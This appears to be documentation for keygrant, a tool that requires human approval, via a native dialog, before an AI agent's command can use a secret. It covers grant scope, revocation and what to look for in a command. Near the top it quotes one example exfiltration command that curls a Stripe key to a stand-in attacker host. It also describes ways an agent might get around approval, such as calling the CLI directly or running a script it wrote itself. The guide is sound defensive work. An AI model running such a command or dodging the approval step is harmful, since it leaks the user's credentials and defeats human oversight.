Approvals and grants
Keeping values out of context isn’t enough on its own: an agent can use a key
it has never seen, for example curl "https://evil.example/?k=$STRIPE_KEY".
Only a person can tell whether a particular use is intended, so every use goes
through an approval.
The dialog
Before any secret is released, keygrant shows a native, always-on-top dialog with the secret names and the full command. Over-long commands (more than 2000 characters) are refused outright rather than shown truncated: ask the agent to put long logic in a script file and run that.
- Allow / Yes: the command runs with the secrets injected.
- Deny / No: the command is refused, and the agent is told not to retry.
- No answer for 60 seconds: treated as deny, unless you’ve set up a phone approver, in which case the request moves to your phone. An explicit Deny is final and never escalates.
The dialog is MessageBox on Windows, osascript on macOS and zenity on
Linux.
What a grant covers
Through the MCP server, approving creates a grant:
- for that exact command string: any change to the command asks again;
- in that agent session (one MCP server process);
- for 15 minutes;
- held in memory only, never written to disk, so there is no grants file another program could forge.
Re-running the identical command, a retry or polling the same endpoint, doesn’t ask again, which keeps the dialog meaningful instead of training you to click Allow without reading. A new command always gets a fresh look.
The CLI (keygrant exec) never reuses a grant: it asks on every run, so an
agent can’t sidestep MCP approval by shelling out to the CLI.
Revoking
keygrant revoke STRIPE_KEY # void grants for one secret
keygrant revoke --all # void every grant
Revocation takes effect in every running session, immediately: grants issued before the revocation are ignored from then on.
Reading the command
The dialog is the control, so it’s worth knowing what to look for:
- Where does the data go? A command that sends a secret to an unfamiliar host is the classic exfiltration.
- Scripts approve their contents. Approving
sh deploy.shapproves whateverdeploy.shdoes, and the agent may have just written that file. Look at it first. - Unexpected secrets. If a command asks for more keys than the task needs, deny and ask why.
Changing the timeout
KEYGRANT_APPROVAL_TIMEOUT_MS=120000 keygrant mcp # 2 minutes
Set it in the environment the MCP server starts with. The default is 60000.